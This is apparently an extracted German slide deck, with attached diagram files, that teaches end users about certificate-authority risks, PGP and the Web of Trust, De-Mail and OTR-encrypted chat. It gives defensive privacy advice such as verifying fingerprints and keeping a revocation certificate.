    Beim Verbindungsaufbau: Neues Zertifikat für Seite generieren

    241 |

    Browserwarnung (wenn CA unbekannt) 242 |

    ⇒ Bei Browserwarnung: Höchste Alarmstufe, nicht einfach wegklicken!

    243 |
    244 | 245 |
    246 |

    Trusted CAs in den Händen der falschen

    247 |

    Man in the middle + im Browser hinterlegte CA:

    248 |

    249 |
    250 | 251 | 262 | 263 |
    264 |

    Mögliche Auswege und Workarounds

    265 |

    Bei wichtigen Seiten: Fingerprint des Zertifikats von Hand prüfen

    266 |
      267 |
    • Unbequem und aufwendig
      • 268 |
    • Woher die korrekte Information nehmen?
      • 269 |
    270 |
    271 |
    272 |
    273 |

    Sticky Certificates

    274 |
      275 |
    • Browser speichert Zertifikat beim ersten Kontakt
      • 276 |
    • Problem: Neues Serverzertifikat von Angriff nicht unterscheidbar
      • 277 |
    278 |
    279 |
    280 |
    281 | 282 |
    283 |

    Convergence - Alternative zur CA-Hierarchie

    284 |

    Idee: Ein Man in the Middle kann nicht alle Verbindungen zu einem Ziel angreifen

    285 |

    Im Netz verteilte Notare fragen das Zertifikat eines Ziels ab und liefern es dem Browser

    286 |

    Browser prüft Übereinstimmung aller Notarantworten

    287 |

    Benutzer wählt Notare selbst

    288 |
      289 |
    • Problem: Auswahl der Notare, initiales Vertrauen (Schlüsselaustausch)
      • 290 |
    • Je dichter der Angreifer an seinem Opfer, desto größer die Chance, die Notare täuschen zu können
      • 291 |
    292 |
    293 |
    294 | 295 |
    296 |
    Mailverschlüsselung mit PGP
    297 | 298 |
    299 |

    Verschlüsselung mit PGP

    300 |

    301 |
    302 | 303 |
    304 |

    Pretty Good Privacy (PGP)

    305 |

    E-Mails: Die Postkarten des Internets:
    Keine Ende-zu-Ende-Verschlüsselung

    306 |

    Pretty Good Privacy: Projekt von Phil Zimmermann, 1991 begonnen

    307 |

    Funktionierte so gut, daß er in die Mühlen der US-Dienste geriet :-)

    308 |

    Gründung der Firma pgp.com, Verkauf an Symantec

    309 |

    Freie Implementierung: Gnu Privacy Guard

    310 |
    311 |
    312 |

    In Linux-Distros dabei, Binaries für Windows (incl. Support für Outlook 2003/2007), MacOS

    313 |

    Direkter Support durch einige Mailprogramme (wie mutt oder Claws), Plugins z.B. für Thunderbird

    314 |
    315 |
    316 | 317 |
    318 |

    PGP-Schlüssel

    319 |

    Public-Key-Verfahren: Public Key und Secret Key

    320 | 
    321 | pub   1024D/0x75FD7074 2004-12-31 [expires: 2013-01-01]
322 | uid [ultimate] Stefan Schlott (PGP mail only) <stefan.pgp@ploing.de>
323 | uid [ultimate] Stefan Schlott <stefan.schlott@ulm.ccc.de>
324 | sub   3072g/0xE9D795D0 2004-12-31 [expires: 2013-01-01]
    325 |
      326 |
    • Schlüssel-ID (0x...)
      • 327 |
    • Hauptkey (Signieren von Inhalten und Schlüsseln), Subkey (Verschlüsselung)
      • 328 |
    • Ablaufdatum
      • 329 |
    • Identities (uid): Name, ggf. Kommentar, Mailadresse
      • 330 |
    • Trust-Info nicht Teil des Schlüssels (lokal gespeichert)
      • 331 |
    332 |
    333 | 334 |
    335 |

    Schlüssel erzeugen

    336 |

    Verschiedene Verfahren: RSA, DSA/ElGamal 337 |

      338 |
    • Heute kein großer Unterschied mehr (Verbreitung, Patente)
      • 339 |
    • Key auf Smartcard: RSA bevorzugen
      • 340 |

    341 |

    Schlüssellänge: Lieber zu groß :-)

    342 |

    Erzeugung braucht "gute" Zufallszahlen.
    Idealerweise nicht auf einem frisch gestarteten Rechner durchführen.

    343 |

    Sicherung mit Passphrase (Mantra)

    344 |
    345 | 346 |
    347 |

    Desaster-Vorkehrungen

    348 |

    Was passiert, wen... 349 |

      350 |
    • Ich mein Mantra vergesse?
      • 351 |
    • Mein Secret Key (samt aller Backups) verloren geht?
      • 352 |
    • Secret Key und Mantra in die falschen Hände fallen?
      • 353 |
    354 |

    355 |
    356 |

    Dein persönliches Problem! Treffe Vorkehrungen!

    357 |

    Ablaufdatum (kann nachträglich geändert werden): Begrenzt den Schaden

    358 |

    Erzeuge ein "Key Revocation Certificate" und hebe es an sicherer Stelle auf: Spezielles Zertifikat, mit dem man seinen eigenen Schlüssel für ungültig erklärt

    359 |
    360 |
    361 | 362 |
    363 |

    Keyserver - das "Telefonbuch" für PGP

    364 |

    Ich will jemandem schreiben und brauche seinen Public Key... woher bekomme ich den?

    365 |
      366 |
    • Homepage
      • 367 |
    • Per Mail fragen
      • 368 |
    • Keyserver!
      • 369 |
    370 |

    Suchmöglichkeiten: Name, E-Mail, Schlüssel-ID

    371 |

    Mailadresse auf Keyserver sichtbar (mögliche Spam-Quelle)

    372 |
    373 | 374 |
    375 |

    Habe ich den richtigen Schlüssel?

    376 |

    Keine zentrale Instanz wie bei SSL, sondern Web of Trust

    377 |
      378 |
    • Direkte Authentisierung: Persönlicher Austausch, Überprüfung, Signieren von Schlüsseln
      • 379 |
    • Indirekte Authentisierung durch Vertrauen in Zuverlässigkeit anderer
      • 380 |
    381 |
    382 | 383 |
    384 |

    Direktes Vertrauen: Schlüssel signieren

    385 |

    Überprüfung des Schlüssels mit Fingerprint (auf authentischem Weg austauschen, z.B. am Telefon vorlesen oder persönliche Übergabe)

    386 | 
    387 | pub   1024D/0x75FD7074 2004-12-31 [expires: 2013-01-01]
388 |       Key fingerprint = 9548 55E2 AC01 4862 BFE4  
389 |                         670E FDF4 4AE8 75FD 7074
    390 |

    Festhalten dieses Wissens durch Signatur des Schlüssels

    391 |

    Signatur kann weitergegeben werden: Wissen für andere verfügbar

    392 |
    393 | 394 |
    395 |

    Transitives Vertrauen: Web of Trust

    396 |

    Festlegen des Vertrauensgrads in die Sorgfalt bei der Prüfung anderer: "Partial Trust" / "Full Trust"

    397 |

    Vertrauen wird nur berücksichtigt, wenn ein Schlüssel als verifiziert gilt:

    398 |
      399 |
    • Selbst signiert
      • 400 |
    • Trägt Unterschrifte von einem verifizierten Schlüssel mit "Full Trust"
      • 401 |
    • Trägt zwei Unterschriften von verifizierten Schlüsseln mit "Partial Trust"
      • 402 |
    403 |

    PGP warnt bei der Verwendung nicht verifizierter Schlüssel

    404 |
    405 | 406 |
    407 |

    Web of Trust - Beispiel

    408 |

    409 |
    410 | Alle direkt signierten Schlüssel gelten als verifiziert 411 |

    412 |

    413 | 414 |

    415 |
    416 | 417 |
    418 |

    Web of Trust - Beispiel

    419 |

    420 |
    421 | Armin ist verifiziert + volles Vertrauen: Dirk verifiziert 422 |

    423 |

    424 | 425 |

    426 |
    427 | 428 |
    429 |

    Web of Trust - Beispiel

    430 |

    431 |
    432 | Vertrauensinfo alleine: Bernd noch nicht zertifiziert! 433 |

    434 |

    435 | 436 |

    437 |
    438 | 439 |
    440 |

    Web of Trust - Beispiel

    441 |

    442 |
    443 | Erst durch (mindestens) teilweises Vertrauen in Claus werden Erwin und Frank verizifiert 444 |

    445 |
    446 | 447 |
    448 |

    "Pseudo-CAs"

    449 |

    Mit Web of Trust kann das CA-Modell nachgebildet werden (nicht aber umgekehrt)

    450 |

    Introducer: Vertrauenswürdige Person, die viele weitere Schlüssel signiert hat

    451 | 456 |
    457 | 467 |
    468 |

    De-Mail - E-Mail mit Staatsverschlüsselung

    469 |

    Ziel: In einer Variante E-Mails mit Sicherheitsgarantie (Verschlüsselung) und Rechtsverbindlichkeit, ohne zusätzliche Hard- oder Software

    470 |

    Dahinterliegende Technik: Normale Mail-Komponenten

    471 |

    Vertragliche Garantien für Transport

    472 |
      473 |
    • De-Mail-"Markierung" nur für Mails von und an De-Mail-Server
      • 474 |
    • Garantie verschlüsselter Verbindungen
      • 475 |
    476 |
    477 | 478 |
    479 |

    De-Mail-Basisversion

    480 |

    481 |

    De-Mail ist eine Art "kryptographische Rohrpost": 482 |

      483 |
    • Übertragungswege ("Rohrpost") geschützt
      • 484 |
    • Mail an jeder Zwischenstation unverschlüsselt
      • 485 |

    486 |

    Aus Security-Sicht kein Vergleich zur Sicherheit von PGP

    487 |
    488 |
    489 | 490 |
    491 |
    Verschlüsselte Chats mit OTR
    492 | 493 |
    494 |

    Verschlüsselte Chats mit OTR

    495 |

    496 |
    497 | 498 |
    499 |

    Off The Record Nachrichtenprotokoll

    500 |

    "Overlay-Protokoll" über jedem (beliebigen) Chatprotokoll

    501 |

    Als Bibliothek und Plugin für verschiedene Chatclients verfügbar

    502 |

    Verschlüsselung, Authentisierung

    503 |

    Deniability: Außenstehende erhalten kein Indiz über die eigene Identität

    504 |

    Perfect Forward Secrecy: Selbst bei Verlust der eigenen Schlüssel können alte (mitgeschnittene) Sitzungen nicht entschlüsselt werden

    505 |
    506 | 507 |
    508 |

    Aufbau der Verbindung

    509 |

    Bei der ersten Nutzung: Public-Key-Paar generieren

    510 |

    Verbindungsaufbau im Chatclient: Manuell oder durch automatische Erkennung (charakteristische Folge von Whitespace am Ende einer normalen Nachricht)

    511 |

    Austausch der Public Keys, Aushandeln eines Sitzungsschlüssels

    512 |

    Dann: Unauthentisierte Verbindung

    513 |
    514 | 515 |
    516 |

    Überprüfung seines Gegenübers

    517 |

    Wieder dieselbe Frage: Spreche ich mit dem richtigen?

    518 |

    Authentisierung über zweiten Kanal (z.B. Telefon), Austausch von Fingerprints

    519 |

    Information über erfolgreiche Überprüfung wird lokal gespeichert

    520 |

    Kein Web of Trust, etc.

    521 |
    522 | 523 |
    524 |

    Vorsichtsmaßnahmen

    525 |

    Beim Beenden einer Verbindung: Aufpassen, daß man nicht versehentlich unverschlüsselt weitertippt (manche Clients verhindern dies)

    526 |

    Vorsicht: OTR sichert nur die Übertragung über das Netzwerk! Keine Sicherung der Chatprotokolle des Clients!

    527 |

    Chatprotokolle werden typischerweise im Klartext gespeichert (aktuelles Negativbeispiel: Bradley Manning)

    528 |

    ⇒ Häufig gehörte Empfehlung: Solche vertraulichen Chats nicht protokollieren (wirklich "Off the record")

    529 |
    530 |
    531 | 532 |
    533 |
    Fazit
    534 | 535 |
    536 |

    Fazit

    537 |

    538 |
    539 | 540 |
    541 |

    Fazit

    542 |
      543 |
    • Für jede Art von Sicherheit: Eine vertrauenswürdige (nichtkompromittierte) Umgebung ist nötig
      • 544 |
    • Ernsthafte Security ist kein Ponyhof. Regeln und Verfahren sind zwingend einzuhalten
      • 545 |
    • Selbstcheck: Was ist das eigene Sicherheitsbedürfnis?
      • 546 |
    • Si vis pacem, para bellum - eine Aversion gegen Gutgläubigkeit ist selten schädlich
      • 547 |
    • Preparedness: Sollte man in die Situation geraten, ernsthafte Sicherheit zu benötigen, ist es zu spät für Vorbereitungsmaßnahmen
      • 548 |
    549 |
    550 |
    551 | 552 |
    553 |
    554 |

    Bildnachweise (1)

    555 | 570 |
    571 | 572 | 580 | 581 | 593 |
    594 |
    595 | 596 | 597 | -------------------------------------------------------------------------------- /assets/web-of-trust-legende.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 15 | 17 | 26 | 28 | 32 | 36 | 37 | 46 | 48 | 52 | 56 | 57 | 65 | 67 | 71 | 75 | 76 | 84 | 86 | 90 | 94 | 95 | 103 | 105 | 109 | 113 | 114 | 122 | 124 | 128 | 132 | 133 | 142 | 144 | 148 | 152 | 153 | 162 | 164 | 168 | 172 | 173 | 182 | 184 | 188 | 192 | 193 | 202 | 204 | 208 | 212 | 213 | 222 | 224 | 228 | 232 | 233 | 242 | 244 | 248 | 252 | 253 | 262 | 264 | 268 | 272 | 273 | 281 | 283 | 287 | 291 | 292 | 300 | 302 | 306 | 310 | 311 | 319 | 321 | 325 | 329 | 330 | 338 | 340 | 344 | 348 | 349 | 358 | 360 | 364 | 368 | 369 | 378 | 380 | 384 | 388 | 389 | 398 | 400 | 404 | 408 | 409 | 418 | 420 | 424 | 428 | 429 | 438 | 440 | 444 | 448 | 449 | 455 | 460 | 461 | 462 | 464 | 465 | 467 | image/svg+xml 468 | 470 | 471 | 472 | 473 | 474 | 477 | 480 | 483 | 487 | 491 | 495 | 499 | 500 | 503 | 507 | 512 | 517 | 522 | 527 | 532 | 537 | 542 | 547 | 551 | 552 | 556 | 560 | 564 | 568 | 569 | Volles Vertrauen 579 | 580 | 583 | 586 | 590 | 594 | 598 | 602 | 603 | 607 | 611 | 615 | 619 | 624 | 629 | 634 | 639 | 644 | 648 | 652 | 656 | 660 | 664 | 665 | Teilweises Vertrauen 675 | 676 | 679 | 684 | Verifiziert 694 | 695 | 698 | 702 | Signatur 712 | 713 | 714 | 715 | -------------------------------------------------------------------------------- /assets/web-of-trust-1.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 19 | 43 | 45 | 51 | 57 | 58 | 60 | 64 | 68 | 69 | 71 | 75 | 79 | 80 | 82 | 86 | 90 | 91 | 93 | 97 | 101 | 102 | 104 | 108 | 112 | 113 | 115 | 119 | 123 | 124 | 126 | 130 | 134 | 135 | 137 | 141 | 145 | 146 | 148 | 152 | 156 | 157 | 159 | 163 | 167 | 168 | 170 | 174 | 178 | 179 | 181 | 185 | 189 | 190 | 192 | 196 | 200 | 201 | 203 | 207 | 211 | 212 | 214 | 218 | 222 | 223 | 225 | 229 | 233 | 234 | 236 | 240 | 244 | 245 | 247 | 251 | 255 | 256 | 258 | 262 | 266 | 267 | 269 | 273 | 277 | 278 | 280 | 284 | 288 | 289 | 291 | 295 | 299 | 300 | 302 | 306 | 310 | 311 | 313 | 317 | 321 | 322 | 324 | 328 | 332 | 333 | 335 | 339 | 343 | 344 | 353 | 355 | 359 | 363 | 364 | 366 | 370 | 374 | 375 | 377 | 381 | 385 | 386 | 388 | 392 | 396 | 397 | 399 | 403 | 407 | 408 | 410 | 414 | 418 | 419 | 421 | 425 | 429 | 430 | 432 | 436 | 440 | 441 | 443 | 447 | 451 | 452 | 454 | 458 | 462 | 463 | 465 | 469 | 473 | 474 | 483 | 485 | 489 | 493 | 494 | 496 | 500 | 504 | 505 | 507 | 511 | 515 | 516 | 518 | 522 | 526 | 527 | 529 | 533 | 537 | 538 | 540 | 544 | 548 | 549 | 551 | 555 | 559 | 560 | 562 | 566 | 570 | 571 | 573 | 577 | 581 | 582 | 584 | 588 | 592 | 593 | 595 | 599 | 603 | 604 | 613 | 615 | 619 | 623 | 624 | 626 | 630 | 634 | 635 | 637 | 641 | 645 | 646 | 648 | 652 | 656 | 657 | 659 | 663 | 667 | 668 | 670 | 674 | 678 | 679 | 681 | 685 | 689 | 690 | 692 | 696 | 700 | 701 | 703 | 707 | 711 | 712 | 714 | 718 | 722 | 723 | 725 | 729 | 733 | 734 | 743 | 745 | 749 | 753 | 754 | 756 | 760 | 764 | 765 | 767 | 771 | 775 | 776 | 778 | 782 | 786 | 787 | 789 | 793 | 797 | 798 | 800 | 804 | 808 | 809 | 811 | 815 | 819 | 820 | 822 | 826 | 830 | 831 | 833 | 837 | 841 | 842 | 844 | 848 | 852 | 853 | 855 | 859 | 863 | 864 | 873 | 875 | 879 | 883 | 884 | 890 | 896 | 897 | 906 | 915 | 923 | 931 | 939 | 947 | 956 | 965 | 974 | 983 | 992 | 1001 | 1010 | 1018 | 1026 | 1034 | 1042 | 1051 | 1060 | 1069 | 1078 | 1087 | 1088 | 1090 | 1091 | 1093 | image/svg+xml 1094 | 1096 | 1097 | 1098 | 1099 | 1100 | 1103 | 1109 | 1110 | Ich 1121 | 1126 | Armin 1137 | 1142 | Bernd 1153 | 1158 | Erwin 1169 | 1174 | Claus 1185 | 1190 | 1195 | 1200 | 1205 | Dirk 1216 | 1221 | 1226 | Frank 1237 | 1242 | 1247 | 1252 | 1253 | --------------------------------------------------------------------------------